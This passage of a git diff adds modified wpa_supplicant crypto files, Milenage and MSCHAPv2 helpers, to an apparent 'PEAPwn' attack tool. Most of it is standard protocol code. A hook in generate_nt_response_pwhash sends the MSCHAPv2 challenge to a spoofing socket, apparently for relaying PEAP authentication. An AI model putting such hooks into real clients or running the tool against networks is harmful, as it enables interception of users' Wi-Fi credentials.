OP_C, r3) XOR c3) XOR OP_C */ + /* OUT4 = E_K(rot(TEMP XOR OP_C, r4) XOR c4) XOR OP_C */ + /* OUT5 = E_K(rot(TEMP XOR OP_C, r5) XOR c5) XOR OP_C */ + + /* f2 and f5 */ + /* rotate by r2 (= 0, i.e., NOP) */ + for (i = 0; i < 16; i++) + tmp1[i] = tmp2[i] ^ opc[i]; + tmp1[15] ^= 1; /* XOR c2 (= ..01) */ + /* f5 || f2 = E_K(tmp1) XOR OP_c */ + if (aes_128_encrypt_block(k, tmp1, tmp3)) + return -1; + for (i = 0; i < 16; i++) + tmp3[i] ^= opc[i]; + if (res) + os_memcpy(res, tmp3 + 8, 8); /* f2 */ + if (ak) + os_memcpy(ak, tmp3, 6); /* f5 */ + + /* f3 */ + if (ck) { + /* rotate by r3 = 0x20 = 4 bytes */ + for (i = 0; i < 16; i++) + tmp1[(i + 12) % 16] = tmp2[i] ^ opc[i]; + tmp1[15] ^= 2; /* XOR c3 (= ..02) */ + if (aes_128_encrypt_block(k, tmp1, ck)) + return -1; + for (i = 0; i < 16; i++) + ck[i] ^= opc[i]; + } + + /* f4 */ + if (ik) { + /* rotate by r4 = 0x40 = 8 bytes */ + for (i = 0; i < 16; i++) + tmp1[(i + 8) % 16] = tmp2[i] ^ opc[i]; + tmp1[15] ^= 4; /* XOR c4 (= ..04) */ + if (aes_128_encrypt_block(k, tmp1, ik)) + return -1; + for (i = 0; i < 16; i++) + ik[i] ^= opc[i]; + } + + /* f5* */ + if (akstar) { + /* rotate by r5 = 0x60 = 12 bytes */ + for (i = 0; i < 16; i++) + tmp1[(i + 4) % 16] = tmp2[i] ^ opc[i]; + tmp1[15] ^= 8; /* XOR c5 (= ..08) */ + if (aes_128_encrypt_block(k, tmp1, tmp1)) + return -1; + for (i = 0; i < 6; i++) + akstar[i] = tmp1[i] ^ opc[i]; + } + + return 0; +} + + +/** + * milenage_generate - Generate AKA AUTN,IK,CK,RES + * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) + * @amf: AMF = 16-bit authentication management field + * @k: K = 128-bit subscriber key + * @sqn: SQN = 48-bit sequence number + * @_rand: RAND = 128-bit random challenge + * @autn: Buffer for AUTN = 128-bit authentication token + * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL + * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL + * @res: Buffer for RES = 64-bit signed response (f2), or %NULL + * @res_len: Max length for res; set to used length or 0 on failure + */ +void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k, + const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik, + u8 *ck, u8 *res, size_t *res_len) +{ + int i; + u8 mac_a[8], ak[6]; + + if (*res_len < 8) { + *res_len = 0; + return; + } + if (milenage_f1(opc, k, _rand, sqn, amf, mac_a, NULL) || + milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) { + *res_len = 0; + return; + } + *res_len = 8; + + /* AUTN = (SQN ^ AK) || AMF || MAC */ + for (i = 0; i < 6; i++) + autn[i] = sqn[i] ^ ak[i]; + os_memcpy(autn + 6, amf, 2); + os_memcpy(autn + 8, mac_a, 8); +} + + +/** + * milenage_auts - Milenage AUTS validation + * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) + * @k: K = 128-bit subscriber key + * @_rand: RAND = 128-bit random challenge + * @auts: AUTS = 112-bit authentication token from client + * @sqn: Buffer for SQN = 48-bit sequence number + * Returns: 0 = success (sqn filled), -1 on failure + */ +int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts, + u8 *sqn) +{ + u8 amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */ + u8 ak[6], mac_s[8]; + int i; + + if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak)) + return -1; + for (i = 0; i < 6; i++) + sqn[i] = auts[i] ^ ak[i]; + if (milenage_f1(opc, k, _rand, sqn, amf, NULL, mac_s) || + memcmp(mac_s, auts + 6, 8) != 0) + return -1; + return 0; +} + + +/** + * gsm_milenage - Generate GSM-Milenage (3GPP TS 55.205) authentication triplet + * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) + * @k: K = 128-bit subscriber key + * @_rand: RAND = 128-bit random challenge + * @sres: Buffer for SRES = 32-bit SRES + * @kc: Buffer for Kc = 64-bit Kc + * Returns: 0 on success, -1 on failure + */ +int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc) +{ + u8 res[8], ck[16], ik[16]; + int i; + + if (milenage_f2345(opc, k, _rand, res, ck, ik, NULL, NULL)) + return -1; + + for (i = 0; i < 8; i++) + kc[i] = ck[i] ^ ck[i + 8] ^ ik[i] ^ ik[i + 8]; + +#ifdef GSM_MILENAGE_ALT_SRES + os_memcpy(sres, res, 4); +#else /* GSM_MILENAGE_ALT_SRES */ + for (i = 0; i < 4; i++) + sres[i] = res[i] ^ res[i + 4]; +#endif /* GSM_MILENAGE_ALT_SRES */ + return 0; +} + + +/** + * milenage_generate - Generate AKA AUTN,IK,CK,RES + * @opc: OPc = 128-bit operator variant algorithm configuration field (encr.) + * @k: K = 128-bit subscriber key + * @sqn: SQN = 48-bit sequence number + * @_rand: RAND = 128-bit random challenge + * @autn: AUTN = 128-bit authentication token + * @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL + * @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL + * @res: Buffer for RES = 64-bit signed response (f2), or %NULL + * @res_len: Variable that will be set to RES length + * @auts: 112-bit buffer for AUTS + * Returns: 0 on success, -1 on failure, or -2 on synchronization failure + */ +int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand, + const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len, + u8 *auts) +{ + int i; + u8 mac_a[8], ak[6], rx_sqn[6]; + const u8 *amf; + + wpa_hexdump(MSG_DEBUG, "Milenage: AUTN", autn, 16); + wpa_hexdump(MSG_DEBUG, "Milenage: RAND", _rand, 16); + + if (milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) + return -1; + + *res_len = 8; + wpa_hexdump_key(MSG_DEBUG, "Milenage: RES", res, *res_len); + wpa_hexdump_key(MSG_DEBUG, "Milenage: CK", ck, 16); + wpa_hexdump_key(MSG_DEBUG, "Milenage: IK", ik, 16); + wpa_hexdump_key(MSG_DEBUG, "Milenage: AK", ak, 6); + + /* AUTN = (SQN ^ AK) || AMF || MAC */ + for (i = 0; i < 6; i++) + rx_sqn[i] = autn[i] ^ ak[i]; + wpa_hexdump(MSG_DEBUG, "Milenage: SQN", rx_sqn, 6); + + if (os_memcmp(rx_sqn, sqn, 6) <= 0) { + u8 auts_amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */ + if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak)) + return -1; + wpa_hexdump_key(MSG_DEBUG, "Milenage: AK*", ak, 6); + for (i = 0; i < 6; i++) + auts[i] = sqn[i] ^ ak[i]; + if (milenage_f1(opc, k, _rand, sqn, auts_amf, NULL, auts + 6)) + return -1; + wpa_hexdump(MSG_DEBUG, "Milenage: AUTS", auts, 14); + return -2; + } + + amf = autn + 6; + wpa_hexdump(MSG_DEBUG, "Milenage: AMF", amf, 2); + if (milenage_f1(opc, k, _rand, rx_sqn, amf, mac_a, NULL)) + return -1; + + wpa_hexdump(MSG_DEBUG, "Milenage: MAC_A", mac_a, 8); + + if (os_memcmp(mac_a, autn + 8, 8) != 0) { + wpa_printf(MSG_DEBUG, "Milenage: MAC mismatch"); + wpa_hexdump(MSG_DEBUG, "Milenage: Received MAC_A", + autn + 8, 8); + return -1; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/milenage.h b/peapwn/mods/hostap/src/crypto/milenage.h new file mode 100644 index 000000000..62137d95c --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/milenage.h @@ -0,0 +1,27 @@ +/* + * UMTS AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208) + * Copyright (c) 2006-2007 + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef MILENAGE_H +#define MILENAGE_H + +void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k, + const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik, + u8 *ck, u8 *res, size_t *res_len); +int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts, + u8 *sqn); +int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, + u8 *kc); +int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand, + const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len, + u8 *auts); +int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand, + const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s); +int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand, + u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar); + +#endif /* MILENAGE_H */ diff --git a/peapwn/mods/hostap/src/crypto/ms_funcs.c b/peapwn/mods/hostap/src/crypto/ms_funcs.c new file mode 100644 index 000000000..14e2f0494 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/ms_funcs.c @@ -0,0 +1,534 @@ +/* + * WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759 + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "sha1.h" +#include "ms_funcs.h" +#include "crypto.h" +#include "spoof/spoof.h" + +/** + * utf8_to_ucs2 - Convert UTF-8 string to UCS-2 encoding + * @utf8_string: UTF-8 string (IN) + * @utf8_string_len: Length of utf8_string (IN) + * @ucs2_buffer: UCS-2 buffer (OUT) + * @ucs2_buffer_size: Length of UCS-2 buffer (IN) + * @ucs2_string_size: Number of 2-byte words in the resulting UCS-2 string + * Returns: 0 on success, -1 on failure + */ +static int utf8_to_ucs2(const u8 *utf8_string, size_t utf8_string_len, + u8 *ucs2_buffer, size_t ucs2_buffer_size, + size_t *ucs2_string_size) +{ + size_t i, j; + + for (i = 0, j = 0; i < utf8_string_len; i++) { + u8 c = utf8_string[i]; + if (j >= ucs2_buffer_size) { + /* input too long */ + return -1; + } + if (c <= 0x7F) { + WPA_PUT_LE16(ucs2_buffer + j, c); + j += 2; + } else if (i == utf8_string_len - 1 || + j >= ucs2_buffer_size - 1) { + /* incomplete surrogate */ + return -1; + } else { + u8 c2 = utf8_string[++i]; + if ((c & 0xE0) == 0xC0) { + /* two-byte encoding */ + WPA_PUT_LE16(ucs2_buffer + j, + ((c & 0x1F) << 6) | (c2 & 0x3F)); + j += 2; + } else if (i == utf8_string_len || + j >= ucs2_buffer_size - 1) { + /* incomplete surrogate */ + return -1; + } else { + /* three-byte encoding */ + u8 c3 = utf8_string[++i]; + WPA_PUT_LE16(ucs2_buffer + j, + ((c & 0xF) << 12) | + ((c2 & 0x3F) << 6) | (c3 & 0x3F)); + } + } + } + + if (ucs2_string_size) + *ucs2_string_size = j / 2; + return 0; +} + + +/** + * challenge_hash - ChallengeHash() - RFC 2759, Sect. 8.2 + * @peer_challenge: 16-octet PeerChallenge (IN) + * @auth_challenge: 16-octet AuthenticatorChallenge (IN) + * @username: 0-to-256-char UserName (IN) + * @username_len: Length of username + * @challenge: 8-octet Challenge (OUT) + * Returns: 0 on success, -1 on failure + */ +static int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge, + const u8 *username, size_t username_len, + u8 *challenge) +{ + u8 hash[SHA1_MAC_LEN]; + const unsigned char *addr[3]; + size_t len[3]; + + addr[0] = peer_challenge; + len[0] = 16; + addr[1] = auth_challenge; + len[1] = 16; + addr[2] = username; + len[2] = username_len; + + if (sha1_vector(3, addr, len, hash)) + return -1; + os_memcpy(challenge, hash, 8); + return 0; +} + + +/** + * nt_password_hash - NtPasswordHash() - RFC 2759, Sect. 8.3 + * @password: 0-to-256-unicode-char Password (IN; UTF-8) + * @password_len: Length of password + * @password_hash: 16-octet PasswordHash (OUT) + * Returns: 0 on success, -1 on failure + */ +int nt_password_hash(const u8 *password, size_t password_len, + u8 *password_hash) +{ + u8 buf[512], *pos; + size_t len, max_len; + + max_len = sizeof(buf); + if (utf8_to_ucs2(password, password_len, buf, max_len, &len) < 0) + return -1; + + len *= 2; + pos = buf; + return md4_vector(1, (const u8 **) &pos, &len, password_hash); +} + + +/** + * hash_nt_password_hash - HashNtPasswordHash() - RFC 2759, Sect. 8.4 + * @password_hash: 16-octet PasswordHash (IN) + * @password_hash_hash: 16-octet PasswordHashHash (OUT) + * Returns: 0 on success, -1 on failure + */ +int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash) +{ + size_t len = 16; + return md4_vector(1, &password_hash, &len, password_hash_hash); +} + + +/** + * challenge_response - ChallengeResponse() - RFC 2759, Sect. 8.5 + * @challenge: 8-octet Challenge (IN) + * @password_hash: 16-octet PasswordHash (IN) + * @response: 24-octet Response (OUT) + */ +void challenge_response(const u8 *challenge, const u8 *password_hash, + u8 *response) +{ + u8 zpwd[7]; + des_encrypt(challenge, password_hash, response); + des_encrypt(challenge, password_hash + 7, response + 8); + zpwd[0] = password_hash[14]; + zpwd[1] = password_hash[15]; + os_memset(zpwd + 2, 0, 5); + des_encrypt(challenge, zpwd, response + 16); +} + + +/** + * generate_nt_response - GenerateNTResponse() - RFC 2759, Sect. 8.1 + * @auth_challenge: 16-octet AuthenticatorChallenge (IN) + * @peer_challenge: 16-octet PeerChallenge (IN) + * @username: 0-to-256-char UserName (IN) + * @username_len: Length of username + * @password: 0-to-256-unicode-char Password (IN; UTF-8) + * @password_len: Length of password + * @response: 24-octet Response (OUT) + * Returns: 0 on success, -1 on failure + */ +int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, + const u8 *username, size_t username_len, + const u8 *password, size_t password_len, + u8 *response) +{ + u8 challenge[8]; + u8 password_hash[16]; + + if (challenge_hash(peer_challenge, auth_challenge, username, + username_len, challenge)) + return -1; + if (nt_password_hash(password, password_len, password_hash)) + return -1; + challenge_response(challenge, password_hash, response); + return 0; +} + + +/** + * generate_nt_response_pwhash - GenerateNTResponse() - RFC 2759, Sect. 8.1 + * @auth_challenge: 16-octet AuthenticatorChallenge (IN) + * @peer_challenge: 16-octet PeerChallenge (IN) + * @username: 0-to-256-char UserName (IN) + * @username_len: Length of username + * @password_hash: 16-octet PasswordHash (IN) + * @response: 24-octet Response (OUT) + * Returns: 0 on success, -1 on failure + */ +int generate_nt_response_pwhash(const u8 *auth_challenge, + const u8 *peer_challenge, + const u8 *username, size_t username_len, + const u8 *password_hash, + u8 *response) +{ + u8 challenge[8]; + + if (challenge_hash(peer_challenge, auth_challenge, + username, username_len, + challenge)) + return -1; + challenge_response(challenge, password_hash, response); + + printf("About to write challenge to PEAPwn...\n"); + +#ifdef FROM_WPA_SUPPLICANT + spoof_write_challenge_sock(challenge, 8); // Spoof. Write first 8 bytes of challenge +#endif + + return 0; +} + + +/** + * generate_authenticator_response_pwhash - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7 + * @password_hash: 16-octet PasswordHash (IN) + * @nt_response: 24-octet NT-Response (IN) + * @peer_challenge: 16-octet PeerChallenge (IN) + * @auth_challenge: 16-octet AuthenticatorChallenge (IN) + * @username: 0-to-256-char UserName (IN) + * @username_len: Length of username + * @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually + * encoded as a 42-octet ASCII string (S=hexdump_of_response) + * Returns: 0 on success, -1 on failure + */ +int generate_authenticator_response_pwhash( + const u8 *password_hash, + const u8 *peer_challenge, const u8 *auth_challenge, + const u8 *username, size_t username_len, + const u8 *nt_response, u8 *response) +{ + static const u8 magic1[39] = { + 0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65, + 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74 + }; + static const u8 magic2[41] = { + 0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B, + 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F, + 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E, + 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, + 0x6E + }; + + u8 password_hash_hash[16], challenge[8]; + const unsigned char *addr1[3]; + const size_t len1[3] = { 16, 24, sizeof(magic1) }; + const unsigned char *addr2[3]; + const size_t len2[3] = { SHA1_MAC_LEN, 8, sizeof(magic2) }; + + addr1[0] = password_hash_hash; + addr1[1] = nt_response; + addr1[2] = magic1; + + addr2[0] = response; + addr2[1] = challenge; + addr2[2] = magic2; + + if (hash_nt_password_hash(password_hash, password_hash_hash)) + return -1; + if (sha1_vector(3, addr1, len1, response)) + return -1; + + if (challenge_hash(peer_challenge, auth_challenge, username, + username_len, challenge)) + return -1; + return sha1_vector(3, addr2, len2, response); +} + + +/** + * generate_authenticator_response - GenerateAuthenticatorResponse() - RFC 2759, Sect. 8.7 + * @password: 0-to-256-unicode-char Password (IN; UTF-8) + * @password_len: Length of password + * @nt_response: 24-octet NT-Response (IN) + * @peer_challenge: 16-octet PeerChallenge (IN) + * @auth_challenge: 16-octet AuthenticatorChallenge (IN) + * @username: 0-to-256-char UserName (IN) + * @username_len: Length of username + * @response: 20-octet AuthenticatorResponse (OUT) (note: this value is usually + * encoded as a 42-octet ASCII string (S=hexdump_of_response) + * Returns: 0 on success, -1 on failure + */ +int generate_authenticator_response(const u8 *password, size_t password_len, + const u8 *peer_challenge, + const u8 *auth_challenge, + const u8 *username, size_t username_len, + const u8 *nt_response, u8 *response) +{ + u8 password_hash[16]; + if (nt_password_hash(password, password_len, password_hash)) + return -1; + return generate_authenticator_response_pwhash( + password_hash, peer_challenge, auth_challenge, + username, username_len, nt_response, response); +} + + +/** + * nt_challenge_response - NtChallengeResponse() - RFC 2433, Sect. A.5 + * @challenge: 8-octet Challenge (IN) + * @password: 0-to-256-unicode-char Password (IN; UTF-8) + * @password_len: Length of password + * @response: 24-octet Response (OUT) + * Returns: 0 on success, -1 on failure + */ +int nt_challenge_response(const u8 *challenge, const u8 *password, + size_t password_len, u8 *response) +{ + u8 password_hash[16]; + if (nt_password_hash(password, password_len, password_hash)) + return -1; + challenge_response(challenge, password_hash, response); + return 0; +} + + +/** + * get_master_key - GetMasterKey() - RFC 3079, Sect. 3.4 + * @password_hash_hash: 16-octet PasswordHashHash (IN) + * @nt_response: 24-octet NTResponse (IN) + * @master_key: 16-octet MasterKey (OUT) + * Returns: 0 on success, -1 on failure + */ +int get_master_key(const u8 *password_hash_hash, const u8 *nt_response, + u8 *master_key) +{ + static const u8 magic1[27] = { + 0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x4d, 0x50, 0x50, 0x45, 0x20, 0x4d, + 0x61, 0x73, 0x74, 0x65, 0x72, 0x20, 0x4b, 0x65, 0x79 + }; + const unsigned char *addr[3]; + const size_t len[3] = { 16, 24, sizeof(magic1) }; + u8 hash[SHA1_MAC_LEN]; + + addr[0] = password_hash_hash; + addr[1] = nt_response; + addr[2] = magic1; + + if (sha1_vector(3, addr, len, hash)) + return -1; + os_memcpy(master_key, hash, 16); + return 0; +} + + +/** + * get_asymetric_start_key - GetAsymetricStartKey() - RFC 3079, Sect. 3.4 + * @master_key: 16-octet MasterKey (IN) + * @session_key: 8-to-16 octet SessionKey (OUT) + * @session_key_len: SessionKeyLength (Length of session_key) (IN) + * @is_send: IsSend (IN, BOOLEAN) + * @is_server: IsServer (IN, BOOLEAN) + * Returns: 0 on success, -1 on failure + */ +int get_asymetric_start_key(const u8 *master_key, u8 *session_key, + size_t session_key_len, int is_send, + int is_server) +{ + static const u8 magic2[84] = { + 0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, + 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, 0x6b, 0x65, 0x79, + 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, 0x69, 0x64, 0x65, + 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20, + 0x6b, 0x65, 0x79, 0x2e + }; + static const u8 magic3[84] = { + 0x4f, 0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2c, 0x20, + 0x74, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x20, + 0x6b, 0x65, 0x79, 0x3b, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x73, + 0x69, 0x64, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x69, 0x73, + 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x6e, 0x64, 0x20, + 0x6b, 0x65, 0x79, 0x2e + }; + static const u8 shs_pad1[40] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + }; + + static const u8 shs_pad2[40] = { + 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, + 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, + 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, + 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2 + }; + u8 digest[SHA1_MAC_LEN]; + const unsigned char *addr[4]; + const size_t len[4] = { 16, 40, 84, 40 }; + + addr[0] = master_key; + addr[1] = shs_pad1; + if (is_send) { + addr[2] = is_server ? magic3 : magic2; + } else { + addr[2] = is_server ? magic2 : magic3; + } + addr[3] = shs_pad2; + + if (sha1_vector(4, addr, len, digest)) + return -1; + + if (session_key_len > SHA1_MAC_LEN) + session_key_len = SHA1_MAC_LEN; + os_memcpy(session_key, digest, session_key_len); + return 0; +} + + +#define PWBLOCK_LEN 516 + +/** + * encrypt_pw_block_with_password_hash - EncryptPwBlockWithPasswordHash() - RFC 2759, Sect. 8.10 + * @password: 0-to-256-unicode-char Password (IN; UTF-8) + * @password_len: Length of password + * @password_hash: 16-octet PasswordHash (IN) + * @pw_block: 516-byte PwBlock (OUT) + * Returns: 0 on success, -1 on failure + */ +int encrypt_pw_block_with_password_hash( + const u8 *password, size_t password_len, + const u8 *password_hash, u8 *pw_block) +{ + size_t ucs2_len, offset; + u8 *pos; + + os_memset(pw_block, 0, PWBLOCK_LEN); + + if (utf8_to_ucs2(password, password_len, pw_block, 512, &ucs2_len) < 0) + return -1; + + if (ucs2_len > 256) + return -1; + + offset = (256 - ucs2_len) * 2; + if (offset != 0) { + os_memmove(pw_block + offset, pw_block, ucs2_len * 2); + if (os_get_random(pw_block, offset) < 0) + return -1; + } + /* + * PasswordLength is 4 octets, but since the maximum password length is + * 256, only first two (in little endian byte order) can be non-zero. + */ + pos = &pw_block[2 * 256]; + WPA_PUT_LE16(pos, password_len * 2); + rc4_skip(password_hash, 16, 0, pw_block, PWBLOCK_LEN); + return 0; +} + + +/** + * new_password_encrypted_with_old_nt_password_hash - NewPasswordEncryptedWithOldNtPasswordHash() - RFC 2759, Sect. 8.9 + * @new_password: 0-to-256-unicode-char NewPassword (IN; UTF-8) + * @new_password_len: Length of new_password + * @old_password: 0-to-256-unicode-char OldPassword (IN; UTF-8) + * @old_password_len: Length of old_password + * @encrypted_pw_block: 516-octet EncryptedPwBlock (OUT) + * Returns: 0 on success, -1 on failure + */ +int new_password_encrypted_with_old_nt_password_hash( + const u8 *new_password, size_t new_password_len, + const u8 *old_password, size_t old_password_len, + u8 *encrypted_pw_block) +{ + u8 password_hash[16]; + + if (nt_password_hash(old_password, old_password_len, password_hash)) + return -1; + if (encrypt_pw_block_with_password_hash(new_password, new_password_len, + password_hash, + encrypted_pw_block)) + return -1; + return 0; +} + + +/** + * nt_password_hash_encrypted_with_block - NtPasswordHashEncryptedWithBlock() - RFC 2759, Sect 8.13 + * @password_hash: 16-octer PasswordHash (IN) + * @block: 16-octet Block (IN) + * @cypher: 16-octer Cypher (OUT) + */ +void nt_password_hash_encrypted_with_block(const u8 *password_hash, + const u8 *block, u8 *cypher) +{ + des_encrypt(password_hash, block, cypher); + des_encrypt(password_hash + 8, block + 7, cypher + 8); +} + + +/** + * old_nt_password_hash_encrypted_with_new_nt_password_hash - OldNtPasswordHashEncryptedWithNewNtPasswordHash() - RFC 2759, Sect. 8.12 + * @new_password: 0-to-256-unicode-char NewPassword (IN; UTF-8) + * @new_password_len: Length of new_password + * @old_password: 0-to-256-unicode-char OldPassword (IN; UTF-8) + * @old_password_len: Length of old_password + * @encrypted_password_hash: 16-octet EncryptedPasswordHash (OUT) + * Returns: 0 on success, -1 on failure + */ +int old_nt_password_hash_encrypted_with_new_nt_password_hash( + const u8 *new_password, size_t new_password_len, + const u8 *old_password, size_t old_password_len, + u8 *encrypted_password_hash) +{ + u8 old_password_hash[16], new_password_hash[16]; + + if (nt_password_hash(old_password, old_password_len, + old_password_hash) || + nt_password_hash(new_password, new_password_len, + new_password_hash)) + return -1; + nt_password_hash_encrypted_with_block(old_password_hash, + new_password_hash, + encrypted_password_hash); + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/ms_funcs.h b/peapwn/mods/hostap/src/crypto/ms_funcs.h new file mode 100644 index 000000000..bd9bfee95 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/ms_funcs.h @@ -0,0 +1,58 @@ +/* + * WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759 + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef MS_FUNCS_H +#define MS_FUNCS_H + +int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, + const u8 *username, size_t username_len, + const u8 *password, size_t password_len, + u8 *response); +int generate_nt_response_pwhash(const u8 *auth_challenge, + const u8 *peer_challenge, + const u8 *username, size_t username_len, + const u8 *password_hash, + u8 *response); +int generate_authenticator_response(const u8 *password, size_t password_len, + const u8 *peer_challenge, + const u8 *auth_challenge, + const u8 *username, size_t username_len, + const u8 *nt_response, u8 *response); +int generate_authenticator_response_pwhash( + const u8 *password_hash, + const u8 *peer_challenge, const u8 *auth_challenge, + const u8 *username, size_t username_len, + const u8 *nt_response, u8 *response); +int nt_challenge_response(const u8 *challenge, const u8 *password, + size_t password_len, u8 *response); + +void challenge_response(const u8 *challenge, const u8 *password_hash, + u8 *response); +int nt_password_hash(const u8 *password, size_t password_len, + u8 *password_hash); +int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash); +int get_master_key(const u8 *password_hash_hash, const u8 *nt_response, + u8 *master_key); +int get_asymetric_start_key(const u8 *master_key, u8 *session_key, + size_t session_key_len, int is_send, + int is_server); +int __must_check encrypt_pw_block_with_password_hash( + const u8 *password, size_t password_len, + const u8 *password_hash, u8 *pw_block); +int __must_check new_password_encrypted_with_old_nt_password_hash( + const u8 *new_password, size_t new_password_len, + const u8 *old_password, size_t old_password_len, + u8 *encrypted_pw_block); +void nt_password_hash_encrypted_with_block(const u8 *password_hash, + const u8 *block, u8 *cypher); +int old_nt_password_hash_encrypted_with_new_nt_password_hash( + const u8 *new_password, size_t new_password_len, + const u8 *old_password, size_t old_password_len, + u8 *encrypted_password_hash); + +#endif /* MS_FUNCS_H */ diff --git a/peapwn/mods/hostap/src/crypto/random.c b/peapwn/mods/hostap/src/crypto/random.c new file mode 100644 index 000000000..053740e9b --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/random.c @@ -0,0 +1,446 @@ +/* + * Random number generator + * Copyright (c) 2010-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This random number generator is used to provide additional entropy to the + * one provided by the operating system (os_get_random()) for session key + * generation. The os_get_random() output is expected to be secure and the + * implementation here is expected to provide only limited protection against + * cases where os_get_random() cannot provide strong randomness. This + * implementation shall not be assumed to be secure as the sole source of + * randomness. The random_get_bytes() function mixes in randomness from + * os_get_random() and as such, calls to os_get_random() can be replaced with + * calls to random_get_bytes() without reducing 